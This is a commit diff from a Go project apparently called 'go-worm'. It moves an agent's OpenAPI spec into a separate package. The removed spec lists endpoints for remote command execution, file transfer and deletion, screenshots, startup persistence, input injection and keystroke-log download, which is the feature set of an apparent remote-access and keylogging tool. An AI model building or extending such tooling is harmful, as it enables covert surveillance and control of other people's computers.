Add OpenAPI specification support to the agent. Implement a new endpoint for serving OpenAPI documentation and refactor the existing handler to utilize the new specification. Add tests to ensure the correctness of the OpenAPI spec generation.

This commit is contained in:
2026-08-28 13:23:41 +03:00
parent 4f8ee5f6be
commit 6a070391c8
4 changed files with 429 additions and 17 deletions
+2 -17
View File
@@ -21,6 +21,7 @@ import (
"tea.chunkbyte.com/kato/go-worm/lib/input"
"tea.chunkbyte.com/kato/go-worm/lib/keylog"
"tea.chunkbyte.com/kato/go-worm/lib/models"
"tea.chunkbyte.com/kato/go-worm/lib/openapi"
"tea.chunkbyte.com/kato/go-worm/lib/screenshot"
"tea.chunkbyte.com/kato/go-worm/lib/startup"
)
@@ -38,23 +39,7 @@ func (a *Agent) handleOpenAPI(w http.ResponseWriter, r *http.Request) {
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
return
}
helpers.WriteJSON(w, http.StatusOK, map[string]any{
"openapi": "3.0.3", "info": map[string]string{"title": "Local Management Agent", "version": config.Version},
"paths": map[string]any{
"/api/v1/status": map[string]any{"get": map[string]string{"summary": "Agent status"}},
"/api/v1/files": map[string]any{"get": map[string]string{"summary": "List files"}, "delete": map[string]string{"summary": "Delete a file or directory"}},
"/api/v1/download": map[string]any{"get": map[string]string{"summary": "Download file"}},
"/api/v1/upload": map[string]any{"post": map[string]string{"summary": "Upload a file to a directory"}},
"/api/v1/screenshot": map[string]any{"get": map[string]string{"summary": "Capture desktop"}},
"/api/v1/exec": map[string]any{"post": map[string]string{"summary": "Run a command"}},
"/api/v1/startup": map[string]any{"post": map[string]string{"summary": "Add to Windows startup"}, "delete": map[string]string{"summary": "Remove from Windows startup"}},
"/api/v1/input/click": map[string]any{"post": map[string]string{"summary": "Click the desktop"}},
"/api/v1/input/key": map[string]any{"post": map[string]string{"summary": "Send a key press"}},
"/api/v1/input/text": map[string]any{"post": map[string]string{"summary": "Type text into the focused field"}},
"/api/v1/keylog": map[string]any{"get": map[string]string{"summary": "List keystroke log files"}},
"/api/v1/keylog/download": map[string]any{"get": map[string]string{"summary": "Download a keystroke log file"}},
},
})
helpers.WriteJSON(w, http.StatusOK, openapi.Spec())
}
func (a *Agent) handleStatus(w http.ResponseWriter, r *http.Request) {